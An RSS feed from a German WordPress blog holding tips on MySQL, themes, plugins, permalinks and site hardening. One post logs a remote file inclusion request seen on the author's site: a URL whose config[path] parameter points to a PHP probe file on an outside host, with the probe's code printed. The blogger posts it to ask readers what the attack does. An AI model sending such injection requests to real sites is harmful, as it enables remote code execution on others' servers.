<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dropspace &#187; Wordpress</title>
	<atom:link href="http://dropspace.de/thema/wordpress/feed/" rel="self" type="application/rss+xml" />
	<link>http://dropspace.de</link>
	<description>//Notizblog</description>
	<lastBuildDate>Sat, 04 Feb 2012 13:13:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Suchen und Ersetzen in MySQL</title>
		<link>http://dropspace.de/2010/05/03/suchen-und-ersetzen-in-mysql/</link>
		<comments>http://dropspace.de/2010/05/03/suchen-und-ersetzen-in-mysql/#comments</comments>
		<pubDate>Mon, 03 May 2010 18:19:38 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[MYSQL]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=3772</guid>
		<description><![CDATA[Folgender Befehl ersetzt in der SQL Tabelle wp_posts den Inhalt &#8216;Zu-suchender-Text&#8217; durch &#8216;Ersatztext&#8217; UPDATE wp_posts SET post_content = REPLACE ( post_content, 'Zu-suchender-Text', 'Ersatztext'); Damit Spart man sich z.B. Probleme beim Wiederupload. Bei mir war die maximale Datenbankgröße für den Import nämlich auf 2MB beschränkt. via cywhale]]></description>
			<content:encoded><![CDATA[<p>Folgender Befehl ersetzt in der SQL Tabelle wp_posts den Inhalt &#8216;Zu-suchender-Text&#8217; durch &#8216;Ersatztext&#8217;</p>
<p><code>UPDATE wp_posts<br />
    SET post_content = REPLACE (<br />
        post_content,<br />
        'Zu-suchender-Text',<br />
        'Ersatztext');</code></p>
<p>Damit Spart man sich z.B. Probleme beim Wiederupload. Bei mir war die maximale Datenbankgröße für den Import nämlich auf 2MB beschränkt.</p>
<p>via <a href="http://www.cywhale.de/suchen-und-ersetzen-in-der-mysql-datenbank/">cywhale</a></p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2010/05/03/suchen-und-ersetzen-in-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Free WordPress Themes Sammlung</title>
		<link>http://dropspace.de/2010/04/24/free-wordpress-themes-sammlung/</link>
		<comments>http://dropspace.de/2010/04/24/free-wordpress-themes-sammlung/#comments</comments>
		<pubDate>Sat, 24 Apr 2010 11:31:11 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Themes]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=1675</guid>
		<description><![CDATA[Momentan bin ich mit dem iNove Theme, was hier läuft, recht zufrieden. Trotzdem schaue ich immer wieder gerne WordPress Theme Demos an. Besonders aufgefallen sind mir dabei folgende Designs, die alle eine übersichtliche Navigationsleiste und einen hellen Texthintergrund haben: wp iStalker &#8211; Demo Green Park 2 &#8211; Demo iNove &#8211; Demo dfBlog &#8211; Demo Stardust [...]]]></description>
			<content:encoded><![CDATA[<p>Momentan bin ich mit dem iNove Theme, was hier läuft, recht zufrieden.<br />
Trotzdem schaue ich immer wieder gerne WordPress Theme Demos an.<br />
Besonders aufgefallen sind mir dabei folgende Designs, die alle eine übersichtliche Navigationsleiste und einen hellen Texthintergrund haben:</p>
<ol>
<li><a href="http://code.google.com/p/wp-istalker/">wp iStalker</a> &#8211; <a href="http://wp-istalker.googlecode.com/svn/wiki/screenshots/night.png">Demo<br />
</a><a href="http://www.knevels.org/uploads/2010/04/wpistalker.jpg"><img class="alignnone size-medium wp-image-3728" title="wpistalker" src="http://www.knevels.org/uploads/2010/04/wpistalker-300x176.jpg" alt="" width="300" height="176" /></a></li>
<li><span id="more-1675"></span><a href="http://cordobo.com/free-wordpress-templates/green-park-2/">Green Park 2</a> &#8211; <a href="http://wordpress.org/extend/themes/cordobo-green-park-2">Demo</a><br />
<a href="http://www.knevels.org/uploads/2010/04/cordobogreenpark.jpg"><img class="alignnone size-medium wp-image-3731" title="cordobogreenpark" src="http://www.knevels.org/uploads/2010/04/cordobogreenpark-300x174.jpg" alt="" width="300" height="174" /></a></li>
<li><a href="http://www.neoease.com/themes/">iNove</a> &#8211; <a href="http://demo.neoease.com/">Demo</a><br />
<a href="http://www.knevels.org/uploads/2010/04/inove.jpg"><img class="alignnone size-medium wp-image-3733" title="inove" src="http://www.knevels.org/uploads/2010/04/inove-300x174.jpg" alt="" width="300" height="174" /></a></li>
<li><a href="http://www.danielfajardo.com/dfblog/">dfBlog &#8211; Demo</a><br />
<a href="http://www.knevels.org/uploads/2010/04/dfblog.jpg"><img class="alignnone size-medium wp-image-3735" title="dfblog" src="http://www.knevels.org/uploads/2010/04/dfblog-300x174.jpg" alt="" width="300" height="174" /></a></li>
<li><a href="http://www.tomstardust.com/wordpress-themes/stardust/">Stardust</a> &#8211; <a href="http://wp-themes.com/stardust/">Demo</a><br />
<a href="http://www.knevels.org/uploads/2010/04/stardust.jpg"><img class="alignnone size-medium wp-image-3736" title="stardust" src="http://www.knevels.org/uploads/2010/04/stardust-300x174.jpg" alt="" width="300" height="174" /></a></li>
<li><a href="http://michaelhutagalung.com/2008/05/arthemia-magazine-blog-wordpress-theme-released/">Arthemia</a> &#8211; <a href="http://michaelhutagalung.com/arthemia/">Demo</a><br />
<a href="http://www.knevels.org/uploads/2010/04/arthemia.jpg"><img class="alignnone size-medium wp-image-3737" title="arthemia" src="http://www.knevels.org/uploads/2010/04/arthemia-300x174.jpg" alt="" width="300" height="174" /></a></li>
<li><a href="http://digitalnature.ro/">Mystique</a> &#8211; <a href="http://wp-themes.com/mystique/?TB_iframe=true&amp;width=600&amp;height=400">Demo</a><br />
<a href="http://www.knevels.org/uploads/2010/04/mystique.jpg"><img class="alignnone size-medium wp-image-3738" title="mystique" src="http://www.knevels.org/uploads/2010/04/mystique-300x174.jpg" alt="" width="300" height="174" /></a></li>
</ol>
<p>Wer hier noch nichts passendes gefunden hat, kann bei <a href="http://wordpress.org/extend/themes/">WordPress.org</a> oder <a href="http://wordpressthemesbase.com/">wordpressthemesbase.com</a> weiterstöbern.</p>
<p>Frei heißt übrigens bei WordPress Themes meist, dass sie unter <a href="http://de.wikipedia.org/wiki/Creative_Commons">CC-Lizenz</a> veröffentlicht sind und der Backlink zum Autoren im Footer bestehen bleiben muss. Will man ihn entfernen, reicht meist eine kleine Spende an den Autoren.<br />
Interessant ist in diesem Zusammenhang die Diskussion, ob Themes nicht, wie die meisten WordPress Plugins, unter GPL fallen müssten, sofern sie auf WordPress API mit Funktionen wie &#8220;wp_head&#8221; zurückgreifen (via <a href="http://wordpress-plugins.feifei.us/10/wordpress-themes-are-gpl-code/">WordPressPlugins</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2010/04/24/free-wordpress-themes-sammlung/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Meine WordPress Plugins</title>
		<link>http://dropspace.de/2010/01/28/meine-wordpress-plugins/</link>
		<comments>http://dropspace.de/2010/01/28/meine-wordpress-plugins/#comments</comments>
		<pubDate>Thu, 28 Jan 2010 14:20:15 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=3483</guid>
		<description><![CDATA[Da ich diese Liste auf anderen Blogs auch immer gern nach neuen Plugins durchforstet habe, hier mal die bei mir momentan aktiven Plugins: Akismet &#8211; Das allgegenwärtige Antispamplugin des WordPress Machers All in One SEO Pack &#8211; Übernimmt alle möglichen Suchmaschinenoptimierungen von Titel bis Meta Description. Category Cloud Widget &#8211; Erstellt die Tagcloud aus den [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.knevels.org/uploads/2008/12/wplogo.png"><img src="http://www.knevels.org/uploads/2008/12/wplogo.png" alt="" title="wplogo" class="alignright size-full wp-image-696" /></a>Da ich diese Liste auf anderen Blogs auch immer gern nach neuen Plugins durchforstet habe, hier mal die bei mir momentan aktiven Plugins:</p>
<ul>
<li><strong>Akismet</strong> &#8211; Das allgegenwärtige Antispamplugin des WordPress Machers</li>
<li><strong>All in One SEO Pack</strong> &#8211; Übernimmt alle möglichen Suchmaschinenoptimierungen von Titel bis Meta Description.</li>
<li><strong>Category Cloud Widget</strong> &#8211; Erstellt die Tagcloud aus den Kategorien statt Tags</li>
<li><strong>Chap Secure Login</strong> &#8211; Verschlüsselt den Login (Kein SSL)</li>
<li><strong>Code Markup</strong> &#8211; Verhindert Probleme beim Posten von HTML u.a. Code</li>
<li><strong>FAlbum</strong> &#8211; Bindet Flickr Fotos in WordPress ein</li>
<li><strong>Google XML Sitemaps</strong> &#8211; Erstellt Sitemaps für den Google Bot</li>
<li><strong>Limit Login Attempts</strong> &#8211; Erschwert Bruteforce Angriffe auf den Login</li>
<li><strong>OpenSearch</strong> &#8211; Ermöglicht das Hinzufügen des Blogs zur Schnellsuche des Browsers</li>
<li><strong>PHP Execution</strong> &#8211; Ermöglicht das ausführen von PHP in Posts (Für die FAlbum Integration)</li>
<li><strong>PXS-Mail Form</strong> &#8211; Erstellt das Kontaktformular</li>
<li><strong>Raven&#8217;s Antispam</strong> &#8211; Schützt per Javascript (was Bots meist nicht können) vor Kommentarspam</li>
<li><strong>Related Posts by Category</strong> &#8211; Bietet verwandte Seiten am Ende von Artikeln per Kategorie an</li>
<li><strong>Simple Trackback Validation</strong> &#8211; Verhindert Trackback Spam</li>
<li><strong>Smart Youtube</strong> &#8211; Vereinfacht das Einbinden von Youtube Videos</li>
<li><strong>WordPress Database Backup</strong> &#8211; Schickt mir wöchentlich ein Backup per Mail</li>
<li><strong>WordPress Mobile Edition</strong> &#8211; Ein Template für Handys</li>
<li><strong>WP-Easy Archvies</strong> &#8211; Übernimmt das erstellen der Archivseite</li>
<li><strong>WP-Memory-Usage</strong> &#8211; Arbeitsspeicherverbrauch auf dem Server zeigen</li>
</ul>
<p>Falls hier noch ein wichtiges Plugin fehlt, freue ich mich über einen Kommentar.</p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2010/01/28/meine-wordpress-plugins/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress Gallery Styles entfernen</title>
		<link>http://dropspace.de/2009/11/27/wordpress-gallery-styles-entfernen/</link>
		<comments>http://dropspace.de/2009/11/27/wordpress-gallery-styles-entfernen/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 15:01:34 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=3320</guid>
		<description><![CDATA[WordPress hat eine tollte Galerie Funktion integriert. Leider schreibt die einem ungefragt neue Styles in die Seite. Da ich die Galerie optisch anpassen wollte brauchte musste ich die Standard Styles loswerden. Fündig wurde ich sivel.net. Der Trick war, folgende Zeilen zur functions.php des Themes hinzuzufügen: &#60;?php add_filter('gallery_style', create_function('$a', 'return " &#60;div class=\'gallery\'&#62;";')); ?&#62; Damit man [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-696" title="wplogo" src="http://www.knevels.org/uploads/2008/12/wplogo.png" alt="wplogo" />WordPress hat eine tollte Galerie Funktion integriert.<br />
Leider schreibt die einem ungefragt neue Styles in die Seite.<br />
Da ich die Galerie optisch anpassen wollte brauchte musste ich die Standard Styles loswerden.</p>
<p>Fündig wurde ich <a href="http://sivel.net/2009/02/remove-gallery-style-tags-one-liner/">sivel.net</a>. Der Trick war, folgende Zeilen zur functions.php des Themes hinzuzufügen:</p>
<p><code>&lt;?php<br />
add_filter('gallery_style', create_function('$a', 'return "<br />
&lt;div class=\'gallery\'&gt;";'));<br />
?&gt;</code></p>
<p>Damit man anschließend beim Login oder Logout nicht folgende Meldung zu sehen bekommt,<br />
<code>Warning: Cannot modify header information - headers already sent ...</code><br />
sollte man alle Leerzeilen- und zeichen in der functions.php löschen.</p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2009/11/27/wordpress-gallery-styles-entfernen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Geschwindigkeit von WordPress Permalinks</title>
		<link>http://dropspace.de/2009/10/21/geschwindigkeit-von-wordpress-permalinks/</link>
		<comments>http://dropspace.de/2009/10/21/geschwindigkeit-von-wordpress-permalinks/#comments</comments>
		<pubDate>Wed, 21 Oct 2009 15:02:43 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=3053</guid>
		<description><![CDATA[Ich habe per Zufall im WordPress Codex gelesen, dass eine Verwendung von %postname% oder %category% ohne Zahlenwerte wie ID oder Datum, zu Performanceeinbußen führt. Für den Leser ist eine lange URL aber weniger sinnvoll, weshalb ein paar Millisekunden mich nicht stören würden. SEOtechnisch ist eine kurze URL sicher auch nicht verkehrt. Weil fast alle größeren [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.knevels.org/../uploads/2009/10/stopwatch.JPG" alt="stopwatch" title="stopwatch" width="200" height="208" class="alignright size-full wp-image-3059" />Ich habe per Zufall im <a href="http://codex.wordpress.org/Using_Permalinks#Structure_Tags">WordPress Codex</a> gelesen, dass eine Verwendung von <code>%postname%</code> oder <code>%category%</code> ohne Zahlenwerte wie ID oder Datum, zu Performanceeinbußen führt.<br />
Für den Leser ist eine lange URL aber weniger sinnvoll, weshalb ein paar Millisekunden mich nicht stören würden. SEOtechnisch ist eine kurze URL sicher auch nicht verkehrt.<br />
Weil fast alle größeren Blogs und Newsseiten aber mindestens eine Zahl im Seitennamen haben, hat mich das schon ein wenig verunsichert.<br />
Laut <a href="http://sw-guide.de/2009-02/wordpress-permalinks-und-die-performance/">sw-guide</a> ist die Performance ohne Zahl im Seitennamen nur schlechter, wenn man viele Seiten hat (nicht Posts). Auf <a href="http://playground.ebiene.de/933/optimaler-permalink-in-wordpress/">Playground</a> lese ich dagegen, dass es generell bei größeren Projekten sinnvoll ist.<br />
Also Permalink Struktur vorsichtshalber umstellen?</p>
<p>Zumindest ist dank mod_rewrite keine Eile geboten. Die nötigen Zeilen generiert natürlich auch das <a href="http://www.deanlee.cn/wordpress/permalinks-migration-plugin/">Permalink Migration Plugin</a>. Deutlich mehr Optionen bietet das <a href="http://urbangiraffe.com/plugins/redirection/">Redirection Plugin von UrbanGiraffe</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2009/10/21/geschwindigkeit-von-wordpress-permalinks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What the heck?</title>
		<link>http://dropspace.de/2009/08/10/what-the-heck/</link>
		<comments>http://dropspace.de/2009/08/10/what-the-heck/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 17:02:36 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=2342</guid>
		<description><![CDATA[Ein fleißiger Hacker mit folgender Hausnummer 116.122.158.207 hat heute diese Adresse aufrufen wollen: http://www.knevels.org///admin.php?includes&#38;config[path]=http://www.kwangsung.es.kr//UserFiles/shirohige/zfxid.txt?? Falls jemand den Hack kennt:was bewirkt er, wenn er funktioniert und bei welcher WordPress version? Sieht für mich aus wie das Einfügen eines neuen Users. Folgenden Inhalt hatte die Textdatei: zfxid.txt]]></description>
			<content:encoded><![CDATA[<p>Ein fleißiger Hacker mit folgender Hausnummer <strong><span><span style="color: #7b7b7b; font-size: x-small;">116.122.158.207</span></span></strong> hat heute diese Adresse aufrufen wollen:<br />
<code>http://www.knevels.org///admin.php?includes&amp;config[path]=http://www.kwangsung.es.kr//UserFiles/shirohige/zfxid.txt??</code><br />
Falls jemand den Hack kennt:was bewirkt er, wenn er funktioniert und bei welcher WordPress version? Sieht für mich aus wie das Einfügen eines neuen Users.</p>
<p>Folgenden Inhalt hatte die Textdatei:<br />
<code>zfxid.txt<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?></code></p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2009/08/10/what-the-heck/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress gegen Hacker sichern</title>
		<link>http://dropspace.de/2009/07/28/wordpress-gegen-hacker-sichern/</link>
		<comments>http://dropspace.de/2009/07/28/wordpress-gegen-hacker-sichern/#comments</comments>
		<pubDate>Tue, 28 Jul 2009 17:26:30 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Login]]></category>
		<category><![CDATA[Passwort]]></category>
		<category><![CDATA[Verschlüsselung]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=2202</guid>
		<description><![CDATA[Ok, eigentlich müsste es Cracker heißen, denn Hacker sind weniger schlimm, da sie aus reinem Interesse und ohne Schadensabsicht in ein System eindringen. Seine WordPress Installation kann man ein wenig absichern, indem man einen Hinweis auf das verwendete CMS aus den Meta-tags entfernt, die Dateirechte einschränkt, ein anderes Prefix als wp_ für seine Datenbank verwendet [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-2219" title="wplockeds" src="http://www.knevels.org/uploads/2009/07/wplockeds.jpg" alt="wplockeds" width="119" height="139" />Ok, eigentlich müsste es Cracker heißen, denn Hacker sind weniger schlimm, da sie aus reinem Interesse und ohne Schadensabsicht in ein System eindringen.<br />
Seine WordPress Installation kann man ein wenig absichern, indem man einen Hinweis auf das verwendete CMS aus den Meta-tags entfernt, die Dateirechte einschränkt, ein anderes Prefix als wp_ für seine Datenbank verwendet und natürlich immer die aktuelleste Version verwendet.<br />
Bei der Installation oder Update sollte man noch darauf achten, in seiner <a href="http://codex.wordpress.org/Editing_wp-config.php">wp-config</a> einen<a href="http://api.wordpress.org/secret-key/1.1/"> secure key</a> anzugeben (oder <a href="http://wordpress.org/extend/plugins/secret-key-insert-plugin-for-older-wp-versions/">per Plugin</a> einzustellen). Wenn man sich schonmal von unterwegs einloggt, ist ein verschlüsselter Login und eine Begrenzung der Anmeldeversuche gegen Bruteforce Attacken sinnvoll.<span id="more-2202"></span></p>
<p>Dabei helfen folgende Plugins:</p>
<ul>
<li>Sicherheitslücken entdecken und schließen. WP Security Scan <a href="http://semperfiwebdesign.com/custom-applications/wp-security-scan/">Autor</a> // <a href="http://wordpress.org/extend/plugins/wp-security-scan/">wp.org</a> (achtung, in WP 2.8.2 wurden in wpknorg01_user nicht alle Werte umbenannt, weshalb ich mich nicht mehr anmelden konnte)</li>
<li> Login Datenübergabe verschlüsseln mit Chap Secure Login <a href="http://www.redsend.org/chapsecurelogin/">Autor</a> // <a href="http://wordpress.org/extend/plugins/chap-secure-login/">wp.org</a></li>
<li>Einen persönlichen Login wie z.B. www.xyz.de/login statt /wp-admin nutzen mit <a href="http://wordpress.org/extend/plugins/stealth-login/">Stealth Login</a></li>
</ul>
<p>Im Blog von Sergej Müller werden noch ein paar gute <a href="http://playground.ebiene.de/954/adminbereich-in-wordpress-schuetzen/">Tipps zum Absichern des Adminbereichs</a> gegeben:</p>
<ul>
<li>WordPress nicht direkt in den www Root installieren (auch der Übersichtlichkeit halber)</li>
<li>wp-config.php per .htaccess sperren (.htacces ins gleiche Verzeichnis wie wp-config.php)</li>
<li>Benutzernamen ändern / admin löschen (Benutzernamen root vermeiden <img src='http://dropspace.de/cmspath/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )</li>
<li>wp-login.php per <a href="http://www.homepage-kosten.de/htaccess/">.htaccess mit Passwortschutz</a> ausstatten und evtl. <a href="http://www.reubenyau.com/protecting-the-wordpress-wp-admin-folder/">Login auf bestimmte IP-Adressen beschränken</a></li>
<li>Rückmeldung bei der Username / Passworteingabe unterbinden. Dazu in der functions.php des Themes folgendes hinzufügen:</li>
</ul>
<pre>add_filter('login_errors',create_function('$a', "return null;"));</pre>
<ul>
<li>Anzahl der Login-Versuche beschränken mit <a href="http://devel.kostdoktorn.se/limit-login-attempts/">limit login attempts</a> / <a href="http://wordpress.org/extend/plugins/limit-login-attempts/">mirror</a></li>
</ul>
<p>Um den Erfolg seiner Bemühungen zu überprüfen kann man die Website <a href="http://blogsecurity.net/wpscan">WPSCAN</a> benutzen (braucht Plugin oder ein &lt;!&#8211; wpscanner &#8211;&gt; im head-bereich). Der WPSCAN Scanner überprüft natürlich nicht die Passwortstärke.<br />
Wenn man alles richtig gemacht hat und WordPress in einen Unterordner installiert, schlägt allerdings der Scan der Zugriffsrechte für Ordner mit folgender Meldung fehl:</p>
<blockquote><p>Warning: fileperms() [function.fileperms]: stat failed for ../.htaccess in /home/******/public_html/wp-content/plugins/wp-security-scan/functions.php on line 22</p></blockquote>
<p>Dagegen half ein Anpassen des <a href="http://www.akademie.de/gestalten/html-und-css/kurse/html-grundlagen-lernen/bilder/relative-pfade.html">relativen Pfades</a> zu .htaccess in der scanner.php in Zeile 17 bei check_perms.<br />
Wer sich das Plugin sparen will, hier die Empfehlungen des Plugins:</p>
<table>
<tbody>
<tr>
<td style="font-weight: bold;">Ordner</td>
<td style="font-weight: bold;">Schreibrechte</td>
</tr>
<tr>
<td>root directory</td>
<td>755</td>
</tr>
<tr>
<td>wp-includes</td>
<td>755</td>
</tr>
<tr>
<td>.htaccess</td>
<td>644</td>
</tr>
<tr>
<td>wp-admin/index.php</td>
<td>644</td>
</tr>
<tr>
<td>wp-admin/js</td>
<td>755</td>
</tr>
<tr>
<td>wp-content/theme</td>
<td>755</td>
</tr>
<tr>
<td>wp-content/plugins</td>
<td>755</td>
</tr>
<tr>
<td>wp-admin</td>
<td>755</td>
</tr>
<tr>
<td>wp-content</td>
<td>755</td>
</tr>
</tbody>
</table>
<p>Für den Notfall empfiehlt es sich immer ein Backup seines Themes, der Uploads und der Datenbank anzulegen. Von Il Filosofo gibt es ein <a href="http://www.ilfilosofo.com/blog/wp-db-backup">Plugin zum automatisierten Datenbankbackup</a>.<br />
Ein komplettes inkrementelles FTP-Backup erstellen z.B. <a href="http://blog.aufsfeld.org/2009/09/optimiert-webserver-backup-mit-ftpsync/">FTPsync</a> und <a href="http://www.linux-user.de/ausgabe/2001/08/088-sitecopy/sitecopy.html">Sitecopy</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2009/07/28/wordpress-gegen-hacker-sichern/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Leere Divs ausblenden</title>
		<link>http://dropspace.de/2009/07/12/leere-divs-ausblenden/</link>
		<comments>http://dropspace.de/2009/07/12/leere-divs-ausblenden/#comments</comments>
		<pubDate>Sun, 12 Jul 2009 04:23:36 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=2094</guid>
		<description><![CDATA[Obwohl Momentan wieder öfter Updates für WordPress herauskommen, ist es noch lange nicht perfekt. Eine sinnvolle Ergänzung für WP-Themes, die ich länger suchen musste, stellt Eric Martin in seinem Blog vor. Und zwar hatte ich das Problem, dass ich in der archive.php für die next_post_links ein wenig margin zum div hinzufügen wollte. Bei Themen, wo [...]]]></description>
			<content:encoded><![CDATA[<p>Obwohl Momentan wieder öfter Updates für WordPress herauskommen, ist es noch lange nicht perfekt. Eine sinnvolle Ergänzung für WP-Themes, die ich länger suchen musste, stellt <a href="http://www.ericmmartin.com/conditional-pagepost-navigation-links-in-wordpress-redux/">Eric Martin</a> in seinem Blog vor. Und zwar hatte ich das Problem, dass ich in der archive.php für die next_post_links ein wenig margin zum div hinzufügen wollte. Bei Themen, wo ich nicht so so viel geschrieben habe, also keine next_post_links benötigt werden, war der div für die Links aber weiter vorhanden und sorgte für einen zu großen Abstand zwischen Inhalt und Überschrift.<br />
Leider hat WordPress keine Funktion integriert, mit der man den Container automatisch ausblenden kann. Abhilfe schafft ein Eintrag in die functions.php:<br />
<code>/**<br />
 * If more than one page exists, return TRUE.<br />
 */<br />
function show_posts_nav() {<br />
	global $wpknorg01_query;<br />
	return ($wpknorg01_query->max_num_pages > 1);<br />
}</code><br />
und das Ergänzen der archive.php durch<br />
<code><?php if (show_posts_nav()) : ?></p>
<div class='navigation'>
	<span class='older'><?php next_posts_link('&amp;laquo; Older Entries'); ?></span><br />
	<span class='newer'><?php previous_posts_link('Newer Entries &amp;raquo;'); ?></span>
</div>
<p><?php endif; ?></code></p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2009/07/12/leere-divs-ausblenden/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Statistik Tools &amp; Plugins</title>
		<link>http://dropspace.de/2009/02/12/statistik-tools-plugins/</link>
		<comments>http://dropspace.de/2009/02/12/statistik-tools-plugins/#comments</comments>
		<pubDate>Thu, 12 Feb 2009 15:28:53 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Counter]]></category>
		<category><![CDATA[Statistik]]></category>
		<category><![CDATA[Stats]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=1183</guid>
		<description><![CDATA[Wer gern weiß, welche Artikel seine Besucher besonders interessieren und welche Technik diese benutzen, für den sind die folgenden Tools &#38; Plugins interessant: WordPress Plugins: Semmelstatz &#8211; Oft gelobt, da guter Botfilter StatPress &#8211; Sehr detailliert, incl. Grafik und Liste der letzten IPs CounterizeII &#8211; Alle Infos mit Balkengrafik auf einere Seite (incl. Bot &#38; [...]]]></description>
			<content:encoded><![CDATA[<p><a title="JAWStats in Action" href="http://www.knevels.org/uploads/2009/02/jawstatsscreenshot.jpg"><img class="alignright size-full wp-image-1335" title="jawstatsscreenshotsmall" src="http://www.knevels.org/uploads/2009/02/jawstatsscreenshotsmall.png" alt="jawstatsscreenshotsmall" width="300" height="129" /></a>Wer gern weiß, welche Artikel seine Besucher besonders interessieren und welche Technik diese benutzen, für den sind die folgenden Tools &amp; Plugins interessant:</p>
<p><strong>WordPress Plugins:</strong></p>
<ul>
<li><a href="http://www.kopfhoch-studio.de/blog/2765">Semmelstatz</a> &#8211; Oft gelobt, da guter Botfilter</li>
<li><a href="http://wordpress.org/extend/plugins/statpress/">StatPress</a> &#8211; Sehr detailliert, incl. Grafik und Liste der letzten IPs</li>
<li><a href="http://wordpress.org/extend/plugins/counterizeii/">CounterizeII</a> &#8211; Alle Infos mit Balkengrafik auf einere Seite (incl. Bot &amp; IPblocker)</li>
<li><a href="http://wordpress.org/extend/plugins/wp-shortstat2/">ShortStat2</a> &#8211; Pure Information mit allen Daten auf einen Blick, 0 Grafik aber übersichtlich</li>
<li><a href="http://wordpress.org/extend/plugins/stats/">WordPress.com Stats</a> &#8211; Die API Lösung für Umsteiger (Erfordert seperaten Login)</li>
</ul>
<p><strong>PHP Statistik Tools</strong></p>
<ul>
<li><a href="http://soft.zoneo.net/phpTrafficA/">phpTrafficA</a> &#8211; Vor allem für kleine Seiten interssant</li>
<li><a href="http://piwik.org/">Piwik</a> &#8211; Google Analytics Konkurrenz</li>
<li><a href="http://www.quate.net/grape">Grape</a> &#8211; Übersichtlichstes und schnellstes Statistiktool</li>
<li><a href="http://bbclone.de/">BBClone</a> &#8211; So übersichtlich wie Grape aber mit deutlich mehr Informationsgehalt</li>
</ul>
<ul>
<li><a href="http://www.jawstats.com/">JAWStats</a> &#8211; Auf <a href="http://awstats.sourceforge.net/">awstats</a> aufsetzend, benötigt leider Zugriff auf die Apache Installation. Mein Favorit &#8211; <a href="http://demo.jawstats.com/">Demo</a></li>
</ul>
<p>Noch bin ich mir nicht sicher, für welches Tool ich mich entscheiden werde. Vielversprechend sehen zumindest Piwik und PHPTraffica aus. Mit Rootaccess auf Apache würde meine Wahl wohl auf JAWStats fallen.</p>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2009/02/12/statistik-tools-plugins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wordpess 2.7 Admin Interfaces</title>
		<link>http://dropspace.de/2009/02/05/wordpess-27-admin-interfaces/</link>
		<comments>http://dropspace.de/2009/02/05/wordpess-27-admin-interfaces/#comments</comments>
		<pubDate>Thu, 05 Feb 2009 17:12:14 +0000</pubDate>
		<dc:creator>Tom</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Admin Themes]]></category>
		<category><![CDATA[Interface]]></category>

		<guid isPermaLink="false">http://knevels.org/?p=1292</guid>
		<description><![CDATA[Nur wenige Adminpanel Themes sind Wordpress 2.7 tauglich. Die schon kompatiblen Versionen habe ich einmal zusammangestellt.]]></description>
